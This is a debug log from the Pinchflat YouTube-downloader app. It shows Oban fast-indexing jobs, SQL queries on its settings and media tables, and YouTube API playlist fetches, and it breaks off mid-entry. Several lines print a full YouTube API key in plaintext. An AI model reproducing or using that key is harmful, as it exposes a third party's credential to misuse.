[debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 17:56:34.714 [debug] QUERY OK source="settings" db=0.0ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:34.714 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:34.867 [debug] QUERY OK source="media_items" db=0.4ms idle=155.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 17:56:34.867 [debug] QUERY OK source="media_items" db=0.2ms idle=155.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 17:56:34.868 [debug] QUERY OK source="tasks" db=0.1ms idle=154.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800311, 30, ~U[2026-02-10 23:56:34Z], ~U[2026-02-10 23:56:34Z]] 17:56:34.868 [info] {"args":{"id":30},"id":3800272,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":158047,"event":"job:stop","queue_time":455042,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:35.710 [info] {"args":{"id":17},"id":3800273,"meta":{},"system_time":1770767795710835412,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:35.711 [debug] QUERY OK source="sources" db=0.1ms idle=842.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 17:56:35.711 [debug] QUERY OK source="settings" db=0.1ms idle=842.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:35.711 [debug] QUERY OK source="media_profiles" db=0.1ms idle=836.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:35.711 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:35.712 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 17:56:35.712 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:35.712 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:35.849 [debug] QUERY OK source="media_items" db=0.5ms idle=137.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 17:56:35.849 [debug] QUERY OK source="media_items" db=0.2ms idle=138.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 17:56:35.850 [debug] QUERY OK source="tasks" db=0.1ms idle=138.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800312, 17, ~U[2026-02-10 23:56:35Z], ~U[2026-02-10 23:56:35Z]] 17:56:35.850 [info] {"args":{"id":17},"id":3800273,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":139845,"event":"job:stop","queue_time":475345,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:37.712 [info] {"args":{"id":33},"id":3800274,"meta":{},"system_time":1770767797712772073,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:37.713 [debug] QUERY OK source="sources" db=0.1ms idle=834.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 17:56:37.713 [debug] QUERY OK source="settings" db=0.1ms idle=834.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:37.713 [debug] QUERY OK source="media_profiles" db=0.1ms idle=835.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:37.713 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:37.713 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 17:56:37.713 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:37.714 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:37.812 [debug] QUERY OK source="media_items" db=0.8ms idle=98.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 17:56:37.813 [debug] QUERY OK source="media_items" db=0.4ms idle=99.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 17:56:37.814 [debug] QUERY OK source="tasks" db=0.1ms idle=99.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800313, 33, ~U[2026-02-10 23:56:37Z], ~U[2026-02-10 23:56:37Z]] 17:56:37.814 [info] {"args":{"id":33},"id":3800274,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101328,"event":"job:stop","queue_time":470581,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:38.714 [info] {"args":{"id":11},"id":3800275,"meta":{},"system_time":1770767798714709501,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:38.714 [info] {"args":{"id":12},"id":3800276,"meta":{},"system_time":1770767798714754965,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:38.715 [debug] QUERY OK source="sources" db=0.2ms idle=900.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 17:56:38.715 [debug] QUERY OK source="sources" db=0.2ms idle=900.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:56:38.715 [debug] QUERY OK source="settings" db=0.1ms idle=894.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:38.715 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:38.715 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:38.715 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:38.715 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:38.715 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 17:56:38.715 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:38.715 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:56:38.715 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:38.715 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:38.715 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:38.715 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:38.822 [debug] QUERY OK source="media_items" db=0.7ms idle=106.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 17:56:38.824 [debug] QUERY OK source="media_items" db=1.1ms idle=107.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 17:56:38.825 [debug] QUERY OK source="tasks" db=0.1ms idle=109.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800314, 11, ~U[2026-02-10 23:56:38Z], ~U[2026-02-10 23:56:38Z]] 17:56:38.825 [info] {"args":{"id":11},"id":3800275,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":110844,"event":"job:stop","queue_time":509820,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:38.946 [debug] QUERY OK source="media_items" db=0.5ms 